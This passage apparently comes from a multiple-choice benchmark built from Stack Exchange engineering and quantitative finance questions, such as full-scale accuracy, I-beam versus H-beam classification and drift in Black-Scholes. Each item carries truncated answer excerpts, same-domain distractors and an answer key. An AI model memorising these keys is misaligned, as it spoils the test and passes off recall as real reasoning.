is a measure of error of some kind, of course. The problem is I dont know the exact meaning. I've seen it in the context of repeatability, accuracy and linearity. An example is the following data sheet: smc data sheet (On page 3)", "question_score": 12, "question_tags": ["nomenclature"], "choices": {"A": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "B": "I will expand on DKNguyen answer, because to my knowledge also the two reasons are: reduce contact/bearing stresses (having a significant effect on thin finishes live galvanisation) change the joint tightening characteristics (see joint diagram). reduce contact stresses on surfaces. The basic idea is that since contact stress is defined as: $$\\sigma = \\frac{F}{A}$$ Obviously the larger the area the less the stress. Also, like Nuclear Hoagie pointed out the area changes with a square law of the diameter. UPDATE 2 - Calculation for M6 bolt (thanks to BenC) *The question gathered enough interest for me to carry out a...", "C": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "D": "FS = FULL SCALE = maximum reading. It means that the accuracy is such that the reading is probably within + or - 0.5% of the FULL SCALE reading. This is a very important and easily overlooked qualification of the result. If I have a reading of 1 Volt and the accuracy is +/- 0.5% it means that the actual result should lie in the range 1 - 0.5% x 1 to 1 + 0.5% of 1 = 0.995V to 1.005 V However - if I measure the result on the 10V range then 0.5% of 10V = 0.5% of..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1718/what-does-pm-0-5-f-s-mean"} {"id": "engineering_1767", "domain": "engineering", "question_title": "At what point does an I-beam becomes a H-beam?", "question_body": "According to BS5950, a beam section can be classified as plastic, semi-compact, compact or slender. For the same section area, a H-beam can take axial compression (without buckling) better than an I-beam, and as such, uses a different strut curve in the code: Now, I understand that a H-beam has a wider flange compared to an I-beam, but at what point, precisely, does this transition from I- to H- occurs? For example, is a 400x300 (depth x width) beam considered a H- or an I-beam? Update: Extracted from BS5950 guide, the following table shows H-beams (also known as universal columns, some of which with depth greater than width. This is the reason why I don't believe the differentiation is so straight forward.", "question_score": 12, "question_tags": ["civil-engineering", "steel", "beam"], "choices": {"A": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you...", "B": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "C": "BS5950-1:2000 Clause 1.3.23 defines an H-section as having \" an overall depth not greater than 1.2 times its overall width \", and Clause 1.3.25 defines an I section as having \" an overall depth greater than 1.2 times its overall width \". Note that at exactly a ratio of 1.2, it would be an H section not an I section.", "D": "So there's an incorrect assumption underlying your question. In an ideal world the lifting capacity required of the jacks would be the self-weight of the bridge divided by the number of jacks (+ allowances for wind/snow, etc.). And the assumption there is that the lifting capacity is equivalent only to the weight of the bridge. The problem is that if anything goes wrong, you're likely to see a catastrophic failure of some sort which could lead to irreparable damage. Real world lifts don't operate in that \"ideal\" manner, and instead rely upon a safety factor in order to make sure..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1767/at-what-point-does-an-i-beam-becomes-a-h-beam"} {"id": "engineering_2015", "domain": "engineering", "question_title": "Why are most standard bolt threads single start?", "question_body": "When looking at thread descriptions, one of the basic properties is always the number of thread starts. As far as I could tell, all of the major standard bolt threads are single-start. This includes: Unified Standard (UNC, etc.) National Pipe Thread (NPT, NPS) British Standard I only found one standard thread that can also come in a multiple-starts: ACME . What are the reasons why single-start threads are so common and multiple-start threads are rare? I am specifically interested in bolts and other fasteners.", "question_score": 12, "question_tags": ["threads", "fasteners"], "choices": {"A": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately...", "B": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with...", "C": "As Dave Tweed points out, the ratio of torque to tension is lower the lower the lead angle is. Since the important measure of bolt tightness is generally the tension in the bolt, we want to achieve that minimum pretension with the least effort possible. Assuming we have to maintain a certain shear area of the thread (so the the threads are stronger than the bolt when fully engaged) having two starts means we double the lead angle and greatly increase the amount of force required in the wrench to tighten the fastener appropriately. On its own though, this isn't...", "D": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2015/why-are-most-standard-bolt-threads-single-start"} {"id": "engineering_2071", "domain": "engineering", "question_title": "Is interference between aircraft an issue for fly-by-wireless technology?", "question_body": "I was reading up on fly-by-wire development, and I saw a short section about fly-by-wireless technology. It seems like a great idea, with the potential to lower costs, weight and complexity. I can see a possible scenario where it could be an issue, though: Two aircraft are very close together (e.g. on a runway or flying in formation). One pilot transmits commands through the aircraft's fly-by-wire system to other parts of the aircraft. The other aircraft accidentally receives the signal because it is so close. Things get very bad very quickly. The thing is, I haven't been able to find any technical specifications regarding fly-by-wireless systems, and I have no idea if the transmission would be powerful enough to reach the other craft, nor if it would then be interpreted as actual data sent from that aircraft's pilot. Is this cross-interference between fly-by-wireless systems possible? If so, how can it be mitigated?", "question_score": 12, "question_tags": ["electrical-engineering", "aerospace-engineering", "emc", "telecommunication", "product-testing"], "choices": {"A": "Cross-interference between aircraft is a high unlikely event because all commercial aircraft designs have to pass DO-160 environmental testing requirements. Among the DO-160 testing specification is EMI/EMC Testing. These tests include Radiated Emission, Interference and Immunity Testing. Part of these tests are to answer \" Two aircraft are very close together \" and \" The other aircraft accidentally receives the signal because it is so close. \" Below is a picture of an anechoic chamber used to test aircraft. Fly-by-wire allows the aircraft control system to access and command monitoring and control systems. The monitoring and control systems have a...", "B": "As it happens, I just recently went through that calculation myself for a different site. Given the following facts from a quick web search, it isn't difficult to work out the numbers. The maximum efficiency of a (large) windmill is about 40%. The density of air is 1.225 kg/m 3 You need about 50 mW (10 mA at 5V) to light up an LED First, we'll need about 50 mW / 0.40 = 125 mW of air power flowing through the windmill to create the electricity we need (ignoring other factors such as the actual efficiency of a small windmill...", "C": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "D": "I think you are talking about roundabouts, not traffic circles. It is baffling to those of us in the UK that Americans think roundabouts are a new idea. In the UK we have so many variants, from mini-roundabouts all the way up to full motorway junctions (a giant roundabout above or below the motorway). So do roundabouts take up more space? Not necessarily, this is a mini roundabout: It's nothing more than a slightly domed area of paint on the road, no lights are necessary, you can actually drive straight over the top of it rather than around it, its..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2071/is-interference-between-aircraft-an-issue-for-fly-by-wireless-technology"} {"id": "engineering_2114", "domain": "engineering", "question_title": "How to calculate lever force when lever has uniformed distributed load?", "question_body": "We have a simple class 1 lever: $$\\begin {array}{c} \\text {5,000 kg} \\\\ \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\, \\downarrow \\\\ ==================== \\\\ \\hphantom {==} \\triangle \\hphantom {==============} \\\\ \\vdash \\text{1 m} \\dashv \\vdash \\hphantom {======} \\text{4 m} \\hphantom {======} \\dashv \\\\ \\end {array} $$ The lever ($===$) is 5 m long. The fulcrum ($\\triangle$) is 1 m from one end of the lever. The lever has a object sitting uniformly upon it weighing 5,000 kg. How do I compute the upward force that needs to be exerted at the end of the 1 m side of the lever to keep the lever stationary? $F = (W \\times X)/L$ is simple when the weight is applied at the very end of the lever. But what happens if the weight is distributed along the lever? Our final goal is to tether the free end (on the 1m side) to keep the lever level and we need to know how strong the tether should be.", "question_score": 12, "question_tags": ["mechanical-engineering", "statics"], "choices": {"A": "Answer: Yes , this is exactly how it is done in the real world. What you have described is what I do in my job to check systems in CAD. Since you indicated you would like me to step through my design process, I have detailed it below. Note that most of this does not involve CAD. CAD is invaluable, but only if you are prepared to get out the pencil and paper first. Also note that this is just my design process, it is by no means the only way to go about things. Preparation When I begin any...", "B": "Since the mass is 5k kg and the lever is 5m, this makes it quite easy to simplify because it is exactly 1k kg per m. The leftmost 2k kg (2m) of the mass has its center of mass exactly above the fulcrum so can be ignored as it provides no contribution to the moment. This leaves 3k kg (3m) spread from 1m to 4m on the right side. The center of mass will therefore be at 2.5m. Now it's super-simple, assuming you want the moment when the lever is level (i.e. when gravity is pulling straight down, perpendicular to...", "C": "OP injection molding tag is correct. OBall uses injection molding and plastic welding. The OBall is the invention of David E. Silverglate. Toy Ball Apparatus with Reduced Part Count Reduced image from Kids II . It consists of four identical, flat, injection molded, pentagon and hexagon shapes with circular (or elipitical) holes, which are shaped and plastically welded into spheres. Pentagon and hexagon edges are the same size and individual connected circles are only connected along one edge. The four shapes are clearly shown in colors above and from the patent. Solid lines on each part are hard connections, while...", "D": "In the video you've linked to, the spheres are seen on both the leading and trailing edges of the propeller: I expect they are intentional - there are a number of ways to attach a propeller without having to disturb that surface, or using flush caps. Cavitation is caused by a drop in pressure. This would be seen on the trailing edges of the propeller, and is worse on the outer edge of the propeller which is moving faster through water than the inner area. I doubt these spheres have any effect on cavitation at all. It is either a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2114/how-to-calculate-lever-force-when-lever-has-uniformed-distributed-load"} {"id": "engineering_2690", "domain": "engineering", "question_title": "Will more electricity be generated by using a lens to focus sunlight onto solar cells?", "question_body": "I have been wondering about this question for quite some time. Assuming an ideal case, the energy from photons hitting solar cells is converted into electric energy as described by the equation: $RI^2t=W\\equiv E=\\hbar\\nu$ where $\\nu$ is the frequency of photons. Using a lens won't increase the frequency of photons, thus no extra electricity is generated. Am I correct in thinking that no extra electricity will be generated by solar cells when a lens is used to focus light onto them?", "question_score": 12, "question_tags": ["electrical-engineering", "optics", "photovoltaics", "solar-energy"], "choices": {"A": "Your equation is partly correct. You've calculated the energy per photon ($\\hbar \\nu$), but you've neglected the number of photons. That's why the units don't match (power is energy per unit time, while you've only got energy for each photon). The ideal power (energy per unit time) depends on the area of the solar panel, $A_p$, the number of photons striking it per unit time ($\\Phi$) and the energy of each photon, $E$, such that $W_{Ideal} =A_p \\cdot \\Phi \\cdot E$. A lens or mirror can focus light (a flux of photons) onto a small area. Under really ideal conditions,...", "B": "As others stated before, induction loops are the primary - most reliable method: the coils (usually just several loops of wire) embedded in the road; fed given frequency from a generator, in presence of metal the frequency of the LC circuit changes and the sensor circuitry detects the change of frequency, producing a presence signal. In some cases these may fail to detect bicycles, but they are by far most common as they aren't affected by weather (or more precisely, the detection circuit tunes in to slow changes of frequency caused by weather) and are immune to accidental false positives....", "C": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "D": "On this processor, the register that holds the conversion result is 16 bits wide. A right-justified result means that bits [( N -1):0] (where N is the number of bits of precision) of the register contain the ADC value and the most-significant bits of the register are set to zero. A left-justified result means that bits [15:(16- N )] of the register hold the result, and bits [(15- N ):0] are set to zero. For example, if your actual conversion result is 0x123, it would be read as 0x0123 if the register was right-justified, and as 0x1230 if it was..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2690/will-more-electricity-be-generated-by-using-a-lens-to-focus-sunlight-onto-solar"} {"id": "engineering_2725", "domain": "engineering", "question_title": "How long does it take for dust to settle out of the air?", "question_body": "In order to make this a manageable question, let's add a few simplifications. The dust particles can be well described as uniform spheres of radius $R$ and density $\\rho$. The space is enclosed and there is no bulk flow, i.e the air is still in a macroscopic sense. The air is at the standard temperature and pressure (STP) ; $T=20\\ ^\\circ\\mathrm{C}$ and $P=1\\ \\mathrm{atm}$. Under these conditions, what is the settling time for dust particles? At what size/density does Brownian motion of the air become important?", "question_score": 12, "question_tags": ["fluid-mechanics", "air-quality"], "choices": {"A": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste...", "B": "Solid particle settling time in air depends mainly on the size of the particle. Different forces become significant depending on what size range you're talking about, so it's hard to give an answer that's both concise and accurate. I'll do my best to synthesize the important points rather than parrot a reference; that said, where practical applications in the field of air quality are concerned, the text I recommend is Air Pollution Control by Cooper & Alley . In particular, I'm going to pull many of the details for this answer from Section 3.3: Particulate Behavior in Fluids. Gravitational Settling...", "C": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "D": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/2725/how-long-does-it-take-for-dust-to-settle-out-of-the-air"} {"id": "finance_111", "domain": "finance", "question_title": "How can I go about applying machine learning algorithms to stock markets?", "question_body": "Can anyone share their experience and basic pointers about how to go about it or at least start applying it to see results from data sets? How ambitious is this? Also, mention standard algorithms that should be investigated.", "question_score": 146, "question_tags": ["machine-learning", "prediction", "mathematics"], "choices": {"A": "There seems to be a basic fallacy that someone can come along and learn some machine learning or AI algorithms, set them up as a black box, hit go, and sit back while they retire. My advice to you: Learn statistics and machine learning first, then worry about how to apply them to a given problem. There is no free lunch here. Data analysis is hard work . Read \"The Elements of Statistical Learning\" (the pdf is available for free on the website), and don't start trying to build a model until you understand at least the first 8 chapters....", "B": "1. Determine Factors Economically, the use of factor models can be either motivated using the ICAPM or the APT . Although there are some theoretical differences between the model, for empirical and practical work these differences are irrelevant. In the end, both models stipulate that returns and expected returns are linear functions of the factors: $$ r_{i,t} = \\alpha_i + \\sum_j \\beta_{i,j} F_{j,t} + \\epsilon_{i,t} \\quad (1)$$ $$ \\mathbb{E}[ r_{i,t}] = \\lambda_o + \\sum_j \\beta_{i,j} \\lambda_j \\quad\\quad\\quad(2)$$ where $F_{j,t}$ is the factor surprise of factor $j$ at time $t$ and $\\lambda_j $ is the factor risk premium of factor $j$....", "C": "The volatiltiy surface is just a representation of European option prices as a function of strike and maturity in a different \"unit\" - namely implied volatility (while the term implied volatility has to be made precise by the model used to convert prices (quotes) into implied volatilities - for example: we may consider log-normal vols and normal vols). Volatility is often preferred over prices, e.g., when considering interpolations of European option prices (although this may introduce difficulties like arbitrage violations, see, e.g., http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1964634 ). A local volatility model can generate a perfect fit to the implied volatility surface via Dupire's...", "D": "Wavelets are just one form of \"basis decomposition\". Wavelets in particular decompose in both frequency and time and thus are more useful than fourier or other purely-frequency based decompositions. There are other time-freq decompositions (for instance the HHT) which should be explored as well. Decomposition of a price series is useful in understanding the primary movement within a series. In general with a decomposition, the original signal is the sum its basis components (potentially with some scaling multiplier). The components range from the lowest frequency (a straight-line through the sample) to the highest frequency, a curve that oscillates with a..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/111/how-can-i-go-about-applying-machine-learning-algorithms-to-stock-markets"} {"id": "finance_1027", "domain": "finance", "question_title": "How are correlation and cointegration related?", "question_body": "In what ways (and under what circumstances) are correlation and cointegration related, if at all? One difference is that one usually thinks of correlation in terms of returns and cointegration in terms of price. Another issue is the different measures of correlation (Pearson, Spearman, distance/Brownian) and cointegration (Engle/Granger and Phillips/Ouliaris).", "question_score": 64, "question_tags": ["time-series", "statistics", "correlation", "cointegration"], "choices": {"A": "This isn't really an answer, but it's too long to add as a comment. I've always had a real problem with the correlation/covariance of price . To me, it means nothing. I realize that it gets used (abused) in many contexts, but I just don't get anything out of it (over time, price has to generally go up, go down, or go sideways, so aren't all prices \"correlated\"?). On the flip side, correlation/covariance of returns makes sense. You're dealing with random series, not integrated random series. For example, below is the code required to generate two price series that have...", "B": "The term has a different meaning to different people. to econometricians, microstructure noise is a disturbance that makes high frequency estimates of some parameters (e.g. realized volatility) very unstable. Generally this strand of the literature professes agnosticism as to the its origin; to market microstructure researchers, microstructure noise is a deviation from fundamental value that is induced by the characteristics of the market under consideration, e.g. bid-ask bounce, the discreteness of price change, latency, and asymmetric information of traders. The last example is frequently cited but I don't think it is accurate. Asymmetric information does not have to be a...", "C": "Just to be painfully clear, it only seems to make sense to consider the logarithm of returns, i.e. $X=\\log (1+\\frac r{100})$ for a simple return of $r\\%$ in an arbitrary period because this is what sums when returns are temporally aggregated. A basic property of cumulants is that cumulants of all orders are additive under convolution, for which a proof can be found here here . So if $X_1$, $X_2$, ... $X_n$ are i.i.d. , then all the cumulants of $$Y_n = \\sum_{i=1}^nX_i$$ scale linearly with $n$, i.e. $$\\kappa_k(Y_n)=n\\kappa_k(Y_1).$$ However, I suspect that you are normalizing this sum so that...", "D": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)"}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1027/how-are-correlation-and-cointegration-related"} {"id": "finance_545", "domain": "finance", "question_title": "How useful is the genetic algorithm for financial market forecasting?", "question_body": "There is a large body of literature on the \"success\" of the application of evolutionary algorithms in general, and the genetic algorithm in particular, to the financial markets. However, I feel uncomfortable whenever reading this literature. Genetic algorithms can over-fit the existing data. With so many combinations, it is easy to come up with a few rules that work. It may not be robust and it doesn't have a consistent explanation of why this rule works and those rules don't beyond the mere (circular) argument that \"it works because the testing shows it works\". What is the current consensus on the application of the genetic algorithm in finance?", "question_score": 59, "question_tags": ["quant-trading-strategies", "forecasting", "algorithm"], "choices": {"A": "I have worked on this topic extensively (pricing and calculating IV in production) and believe can offer an informed opinion. First of all Mathworks - the company that creates Matlab is not a trading firm so you should probably not rely on their advice so much. There are few closed form options pricing models, and all have practical shortcomings. Barone-Adesi and Whaley (please correct my spelling of last names as I'm typing from memory) model is simple approximation for American options but is unfortunately not very accurate, and does not deal with dividends. Roll-Geske-Whaley deals with dividends, but not very...", "B": "The standard story (also told by @vonjd) is of \"The Drunk and Her Dog\". This is based on \"A Drunk and Her Dog: An Illustration of Cointegration and Error Correction\" (1994). The story is itself based on the standard illustration for a random walk known as the \"drunkard's walk\". The Dickey-Fuller test is used to check for a unit root . It can be used as part of the general Engle-Granger two-step method (although it isn't the only option). In this case, while the two assets themselves are not stationary, you are able to test if the residuals between a...", "C": "By \"cryptography\" you mean information theory. Information theory is useful for portfolio optimization and for optimally allocating capital between trading strategies (a problem which is not well addressed by other theoretical frameworks.) See: --- J. L. Kelly, Jr., \"A New Interpretation of Information Rate,\" Bell System Technical Journal, Vol. 35, July 1956, pp. 917-26 --- E. T. Jaynes, Probability Theory: The Logic of Science http://amzn.to/dtcySD --- http://en.wikipedia.org/wiki/Gambling_and_information_theory http://en.wikipedia.org/wiki/Kelly_criterion In the simple case, you would use \"The Kelly Rule\". More complicated information theory based strategies for allocating capital between trading strategies take into account correlations between the performance of trading strategies...", "D": "I've worked at a hedge fund that allowed GA-derived strategies. For safety, it required that all models be submitted long before production to make sure that they still worked in the backtests. So there could be a delay of up to several months before a model would be allowed to run. It's also helpful to separate the sample universe; use a random half of the possible stocks for GA analysis and the other half for confirmation backtests."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/545/how-useful-is-the-genetic-algorithm-for-financial-market-forecasting"} {"id": "finance_8247", "domain": "finance", "question_title": "Why Drifts are not in the Black Scholes Formula", "question_body": "This question has puzzled me for a while. We all know geometric brownian motions have drifts $\\mu$: $dS / S = \\mu dt + \\sigma dW$ and different stocks have different drifts of $\\mu$. Why would the drifts go away in Black Scholes? Intuitively, everything else being equal, if a stock has higher drift, shouldn't it have higher probability of finishing in-the-money (and higher probability of having higher payoff), and the call option should be worth more? Is there an intuitive and easy-to-understand answer? thanks.", "question_score": 55, "question_tags": ["options", "option-pricing", "black-scholes", "risk-neutral-measure"], "choices": {"A": "In general there are two basic ways to make money out of your option pricing models: Sell side (market maker, risk neutral): You use these models to calculate your greeks to hedge your portfolio, so that you live on the spread. Buy side (market/risk taker): You use your model to find mispriced options in the market and buy/sell accordingly. (A third possibility would be to write fancy books and papers about these models and get rich and/or tenure this way ;-)", "B": "Here couple pointers that may make it clearer: Drift can be replaced by the risk-free rate through a mathematical construct called risk-neutral probability pricing. Why can we get away with that without introducing errors? The reason lies in the ability to setup a hedge portfolio, thus the market will not compensate us for the drift above and beyond the risk free rate under risk-neutral probability pricing. As long as such hedge exists and couple other conditions are met (please look up Girsanov's Theorem) we can introduce a risk-neutral measure so that when applying it to the differential equation and through...", "C": "A general model (with continuous paths) can be written $$ \\frac{dS_t}{S_t} = r_t dt + \\sigma_t dW_t^S $$ where the short rate $r_t$ and spot volatility $\\sigma_t$ are stochastic processes. In the Black-Scholes model both $r$ and $\\sigma$ are deterministic functions of time (even constant in the original model). This produces a flat smile for any expiry $T$. And we have the closed form formula for option prices $$ C(t,S;T,K) = BS(S,T-t,K;\\Sigma(T,K)) $$ where $BS$ is the BS formula and $\\Sigma(T,K) = \\sqrt{\\frac{1}{T-t}\\int_t^T \\sigma(s)^2 ds}$. This is not consistent with the smile observed on the market. In order to match...", "D": "I can only talk about quantitative trading. As a rule of thumb, the lower frequency you work in, the more econometrics is important, whereas for a higher frequency, the more econometrics becomes useless . (I would still recommend a top econometrician for HFT since they have what it takes to succeed, it's just the models aren't out-of-the-box applicable.) But if I was interviewing someone who was educated in econometrics for a quantitative research position, I would hope for (given the relevance to financial time-series): I have tried to put in a legend, ^ is something you should learn later and..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/8247/why-drifts-are-not-in-the-black-scholes-formula"} {"id": "finance_1501", "domain": "finance", "question_title": "Which approach dominates? Mathematical modeling or data mining?", "question_body": "According to my current understanding, there is a clear difference between data mining and mathematical modeling . Data mining methods treat systems (e.g., financial markets) as a \"black box\". The focus is on the observed variables (e.g., stock prices). The methods do not try to explain the observed phenomena by proposing underlying mechanisms that cause the phenomena (i.e., what happens in the black box). Instead, the methods try to find some features, patterns, or regularities in the data in order to predict future behavior. Mathematical modeling , in contrast, tries to propose a model for what happens inside the black box. Which approach dominates in quantitative finance? Do people try to use more and more fancy data mining techniques or do people try to construct better and better mathematical models?", "question_score": 52, "question_tags": ["modeling", "market", "data-mining"], "choices": {"A": "The minimum variance solution loads up on securities that have low variances and co-variances. Theoretically you are correct that this should have a low expected return profile. However, it turns out - in contradiction to modern portfolio theory - that securities that have low-volatility or low-beta experience higher returns than high-volatility or high-beta stocks. This is well-documented in the literature as the low-volatility anomaly . As a result, many funds and ETFs have been launched in recent years to exploit this phenomenon. There are a couple arguments as to why the anomaly exists. The paper I cite above argues that...", "B": "One starts with the Black-Scholes equation $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2S^2\\frac{\\partial^2 C}{\\partial S^2}+ rS\\frac{\\partial C}{\\partial S}-rC=0,\\qquad\\qquad\\qquad\\qquad\\qquad(1)$$ supplemented with the terminal and boundary conditions (in the case of a European call) $$C(S,T)=\\max(S-K,0),\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad(2)$$ $$C(0,t)=0,\\qquad C(S,t)\\sim S\\ \\mbox{ as } S\\to\\infty.\\qquad\\qquad\\qquad\\qquad\\qquad\\qquad$$ The option value $C(S,t)$ is defined over the domain $0 Step 1. The equation can be rewritten in the equivalent form $$\\frac{\\partial C}{\\partial t}+\\frac{1}{2}\\sigma^2\\left(S\\frac{\\partial }{\\partial S}\\right)^2C+\\left(r-\\frac{1}{2}\\sigma^2\\right)S\\frac{\\partial C}{\\partial S}-rC=0.$$ The change of independent variables $$S=e^y,\\qquad t=T-\\tau$$ results in $$S\\frac{\\partial }{\\partial S}\\to\\frac{\\partial}{\\partial y},\\qquad \\frac{\\partial}{\\partial t}\\to - \\frac{\\partial}{\\partial \\tau},$$ so one gets the constant coefficient equation $$\\frac{\\partial C}{\\partial \\tau}-\\frac{1}{2}\\sigma^2\\frac{\\partial^2 C}{\\partial y^2}-\\left(r-\\frac{1}{2}\\sigma^2\\right)\\frac{\\partial C}{\\partial y}+rC=0.\\qquad\\qquad\\qquad(3)$$ Step 2. If we...", "C": "I would offer the distinctions are i) pure statistical approach, ii) equilibrium based approach, and iii) empirical approach. The statistical approach includes data mining. Its techniques originate in statistics and machine learning. In its extreme there is no a priori theoretical structure imposed on asset returns. Factor structure might be identified thru Principal Components, for example. The goal here is to maximize predictive accuracy at the expense of intuition and explanatory power. This approach increasingly dominates at very short frequencies in modeling market microstructure, market making algorithms, volatility modeling, etc. However, even in high-frequency trading one can impose a factor...", "D": "Consider the standard error , and in particular the distance between the upper and lower limits: \\begin{equation} \\Delta = (\\bar{x} + SE \\cdot \\alpha) - (\\bar{x} - SE \\cdot \\alpha) = 2 \\cdot SE \\cdot \\alpha \\end{equation} Using the formula for standard error, we can solve for sample size: \\begin{equation} n = \\left(\\frac{2 \\cdot s \\cdot \\alpha}{\\Delta}\\right)^{2} \\end{equation} where $s$ is the measured standard deviation, which you already have from your IR calculation. High-frequency Example I was testing a market-making model recently that was expected to return a couple basis points for each trade and I wanted to be confident..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://quant.stackexchange.com/questions/1501/which-approach-dominates-mathematical-modeling-or-data-mining"} {"id": "finance_1565", "domain": "finance", "question_title": "How do I graphically represent the evolution of a covariance matrix over time?", "question_body": "I am working with a set of covariance matrices evaluated at various points in time over some history. Each covariance matrix is $N\\times N$ for $N$ financial 